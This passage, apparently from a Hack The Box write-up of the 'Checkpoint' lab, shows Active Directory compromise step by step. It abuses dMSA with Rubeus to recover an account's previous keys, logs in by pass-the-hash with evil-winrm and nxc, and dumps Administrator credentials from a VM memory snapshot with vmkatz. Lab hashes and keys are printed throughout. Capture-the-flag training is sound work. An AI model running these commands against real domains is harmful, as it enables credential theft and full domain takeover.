      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

  ServiceName              :  krbtgt/CHECKPOINT.HTB
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  attacker_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
  StartTime                :  6/14/2026 9:09:57 AM
  EndTime                  :  6/14/2026 9:24:57 AM
  RenewTill                :  6/21/2026 9:03:10 AM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  aRyCOfc48wIGOo646l+rSY5T92x3mpgOt4C3uTenv+c=
  Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) EFCA4B701086355F9A2B4A2C242539EDD1B146657BB6975117D947715863F8EF

PS C:\Temp> klist

Current LogonId is 0:0x6babc

Cached Tickets: (1)

#0>    Client: attacker_dmsa$ @ checkpoint.htb
    Server: krbtgt/CHECKPOINT.HTB @ CHECKPOINT.HTB
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
    Start Time: 6/14/2026 9:09:57 (local)
    End Time:   6/14/2026 9:24:57 (local)
    Renew Time: 6/21/2026 9:03:10 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x1 -> PRIMARY
    Kdc Called:

This ticket proves the dMSA takeover path is valid, but this Rubeus build only prints the current dMSA key. The missing part is in the debug view of the returned KERB-DMSA-KEY-PACKAGE, which contains the current key and the previous key material for the replaced account of the target svc_deply.

Request the same krbtgt ticket again, with debug parameters enabled:

.\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /debug /ticket:C:\Temp\ryan_tgt.kirbi

In the debug output, the decoded dMSA key packet will expose a current-keys block and a previous-keys block.

[DECODE] True MIGqoGMwYTApoAMCARKhIgQg78pLcBCGNV+aK0osJCU57dGxRmV7tpdRF9lHcVhj+O8wGaADAgERoRIEEFIlv7X+ytj1QAh9kVAgrKkwGaADAgEXoRIEEJaX1xD7q3UBeFiaH38bWZehHTAbMBmgAwIBF6ESBBDhYIHrB3rKdL2/ivEq9DrJohEYDzE2MDEwMTMwMTgxNjQ0WqQRGA8xNjAxMDEzMDE4MjE0NFo=

After decoding this data block, you can obtain the dMSA current-keys and the previous-keys values ​​of the replaced account:

cat > dmsa_keypkg.b64 <<'EOF'
MIGqoGMwYTApoAMCARKhIgQg78pLcBCGNV+aK0osJCU57dGxRmV7tpdRF9lHcVhj+O8wGaADAgERoRIEEFIlv7X+ytj1QAh9kVAgrKkwGaADAgEXoRIEEJaX1xD7q3UBeFiaH38bWZehHTAbMBmgAwIBF6ESBBDhYIHrB3rKdL2/ivEq9DrJohEYDzE2MDEwMTMwMTgxNjQ0WqQRGA8xNjAxMDEzMDE4MjE0NFo=
EOF

base64 -d dmsa_keypkg.b64 > dmsa_keypkg.der

Then use openssl to parse the DER structure:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ openssl asn1parse -inform DER -in dmsa_keypkg.der

    0:d=0  hl=3 l= 170 cons: SEQUENCE          
    3:d=1  hl=2 l=  99 cons: cont [ 0 ]        
    5:d=2  hl=2 l=  97 cons: SEQUENCE          
    7:d=3  hl=2 l=  41 cons: SEQUENCE          
    9:d=4  hl=2 l=   3 cons: cont [ 0 ]        
   11:d=5  hl=2 l=   1 prim: INTEGER           :12
   14:d=4  hl=2 l=  34 cons: cont [ 1 ]        
   16:d=5  hl=2 l=  32 prim: OCTET STRING      [HEX DUMP]:EFCA4B701086355F9A2B4A2C242539EDD1B146657BB6975117D947715863F8EF
   50:d=3  hl=2 l=  25 cons: SEQUENCE          
   52:d=4  hl=2 l=   3 cons: cont [ 0 ]        
   54:d=5  hl=2 l=   1 prim: INTEGER           :11
   57:d=4  hl=2 l=  18 cons: cont [ 1 ]        
   59:d=5  hl=2 l=  16 prim: OCTET STRING      [HEX DUMP]:5225BFB5FECAD8F540087D915020ACA9
   77:d=3  hl=2 l=  25 cons: SEQUENCE          
   79:d=4  hl=2 l=   3 cons: cont [ 0 ]        
   81:d=5  hl=2 l=   1 prim: INTEGER           :17
   84:d=4  hl=2 l=  18 cons: cont [ 1 ]        
   86:d=5  hl=2 l=  16 prim: OCTET STRING      [HEX DUMP]:9697D710FBAB750178589A1F7F1B5997
  104:d=1  hl=2 l=  29 cons: cont [ 1 ]        
  106:d=2  hl=2 l=  27 cons: SEQUENCE          
  108:d=3  hl=2 l=  25 cons: SEQUENCE          
  110:d=4  hl=2 l=   3 cons: cont [ 0 ]        
  112:d=5  hl=2 l=   1 prim: INTEGER           :17
  115:d=4  hl=2 l=  18 cons: cont [ 1 ]        
  117:d=5  hl=2 l=  16 prim: OCTET STRING      [HEX DUMP]:E16081EB077ACA74BDBF8AF12AF43AC9
  135:d=1  hl=2 l=  17 cons: cont [ 2 ]        
  137:d=2  hl=2 l=  15 prim: GENERALIZEDTIME   :16010130181644Z
  154:d=1  hl=2 l=  17 cons: cont [ 4 ]        
  156:d=2  hl=2 l=  15 prim: GENERALIZEDTIME   :16010130182144Z

We can get the result

current aes256 : EFCA4B701086355F9A2B4A2C242539EDD1B146657BB6975117D947715863F8EF
current key    : 5225BFB5FECAD8F540087D915020ACA9
current key    : 9697D710FBAB750178589A1F7F1B5997
previous key   : E16081EB077ACA74BDBF8AF12AF43AC9

Also we have known svc_deploy belongs to the REMOTE MANAGEMENT group.

That means we can try to use winrm to get the shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ evil-winrm -i DC01.checkpoint.htb -u 'svc_deploy' -H E16081EB077ACA74BDBF8AF12AF43AC9
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
checkpoint\svc_deploy

Also there is another interesting smb share VMBackups could be access now

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ nxc smb checkpoint.htb -u svc_deploy -H E16081EB077ACA74BDBF8AF12AF43AC9 --shares             
SMB         10.129.1.181    445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:False)
SMB         10.129.1.181    445    DC01             [+] checkpoint.htb\svc_deploy:E16081EB077ACA74BDBF8AF12AF43AC9 
SMB         10.129.1.181    445    DC01             [*] Enumerated shares
SMB         10.129.1.181    445    DC01             Share           Permissions            Remark
SMB         10.129.1.181    445    DC01             -----           -----------            ------
SMB         10.129.1.181    445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.1.181    445    DC01             C$                                     Default share
SMB         10.129.1.181    445    DC01             DevDrop                                VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.1.181    445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.1.181    445    DC01             NETLOGON        READ                   Logon server share 
SMB         10.129.1.181    445    DC01             SYSVOL          READ                   Logon server share 
SMB         10.129.1.181    445    DC01             VMBackups       READ         

Continue to enumerate them

smbclient.py \
    -hashes :E16081EB077ACA74BDBF8AF12AF43AC9 \
    'checkpoint.htb/svc_deploy@checkpoint.htb'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use VMBackups
# tree .
/NightlyBackup_2024-11-01/memory forensics
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019-000001.vmdk
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019-Snapshot1.vmem
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019-Snapshot1.vmsn
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019.nvram
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019.scoreboard
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019.vmdk
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019.vmsd
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019.vmx
/NightlyBackup_2024-11-01/memory forensics/Windows Server 2019.vmxf
Finished - 11 files and folders

To avoid downloading such a large file, I chose to use vmkatz to perform the hash dump locally on the target machine.

*Evil-WinRM* PS C:\Temp> .\vmkatz.exe "\\DC01\VMBackups\NightlyBackup_2024-11-01\memory forensics"
vmkatz.exe : [*] vmkatz v1.4.1
[*] VMware snapshot: Windows Server 2019-Snapshot1.vmsn[*] LSASS: Windows Server 2019-Snapshot1.vmsn[*] System discovery: 9.8139387s[*] Process enumeration: 2.4995ms[*] Providers: MSV(ok) WDigest(ok) Kerberos(ok) TsPkg(empty) DPAPI(ok) SSP(empt
y) LiveSSP(n/a) Credman(empty) CloudAP(empty)
[*] Credential extraction: 24.1397ms
[+] 2 logon session(s), 2 with credentials:

  LUID: 0x3e4 (NETWORK SERVICE)
  Username: WIN-0DG6SJAEUTA$
  Domain: WORKGROUP
  [DPAPI]
    GUID          : 632b77c8-5e1a-4479-8e35-baa290fdd6ae
    MasterKey     : 15e104f6de4e478c6bf55252632a25b973fccd39c2be8cc0d5b15a5dec06029f02fe0a02a3e57eb3b55f077f83a283cd0a11f6b3c6508d9e585527de78dc989e
    SHA1 MasterKey: 44bb34a624afcd186909843e6cbdb4cfee908975
  [DPAPI]
    GUID          : 57e1a5d6-bbd4-44e9-a5c4-f4241b0821b0
    MasterKey     : 95f668c165e7c0b3bd1f525330e5a647b9c9c8da7320c6fbdb4518a588bac996567e04f22b28d4f7a2abd33fafe0958522bca1aaa0de00f5edb7d6742065642d
    SHA1 MasterKey: b2bf2c648554143d6b28b3c06a1ece7e40867238
  [DPAPI]
    GUID          : 4f09a449-22e7-4a65-a4b9-fac89cc25328
    MasterKey     : e4778f7e1b8351eade5c49bb8e32503fbbaa705bb7e26eef5785e0a8200e31fcc2458a4db00e03aaabef34bd47900beee2d8a5bb73ddd904fbe279089a1ea718
    SHA1 MasterKey: 90b1c277630e507a8e28d7b260a53f21712c3f1d

  LUID: 0x14016d
  Session: 2 | LogonType: Unknown
  Username: Administrator
  Domain: WIN-0DG6SJAEUTA
  LogonServer: WIN-0DG6SJAEUTA
  LogonTime: 2026-05-09 14:07:14 UTC
  SID: S-1-5-21-2823729479-30462974-3865623546-500
  [MSV1_0]
    NT Hash : f29e9c014295b9b32139b09a2790be3b
    SHA1    : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
    DPAPI   : 89c15f3cd3ede88faf4b2d2e56253cf953e7922e
  [DPAPI]
    GUID          : c53f7d5b-2902-415c-9c09-251f39974440
    MasterKey     : 32cc5c309067ca0994b849897a9b85b89511547030a1d8b74fe6e37ba037a4161301ffce692e6e433c3821dc18abfe208e1dc5c458de79d1352c6681e18bde15
    SHA1 MasterKey: b061f87be6d2776897d912fed9156a354b81a595

Now we can get the administrator shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Checkpoint]
└─$ evil-winrm -i checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b

                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
checkpoint\administrator



type C:\Users\max.palmer\Desktop\root.txt

Description

Checkpoint is a medium difficulty Windows Active Directory machine featuring a Domain Controller with restorable deleted objects. Weak Access Control List permissions allow a low-privileged user to recover a tombstoned account, which in turn holds write access to a writable file share hosting VS Code extension packages. Malicious tampering with the extension's manifest and activation logic achieves remote code execution and a foothold as a higher-privileged user. From there, a Generic Write privilege over a service account is abused through a patched delegated Managed Service Account (dMSA) inheritance mechanism, requiring reciprocal attribute writes on both the attacker-created dMSA and the target account to satisfy the hardened validation and impersonate the service account via Kerberos. The compromised service account exposes a share containing a legacy virtual machine backup, whose memory snapshot is parsed offline to recover cached Domain Administrator credentials, completing the compromise of the domain.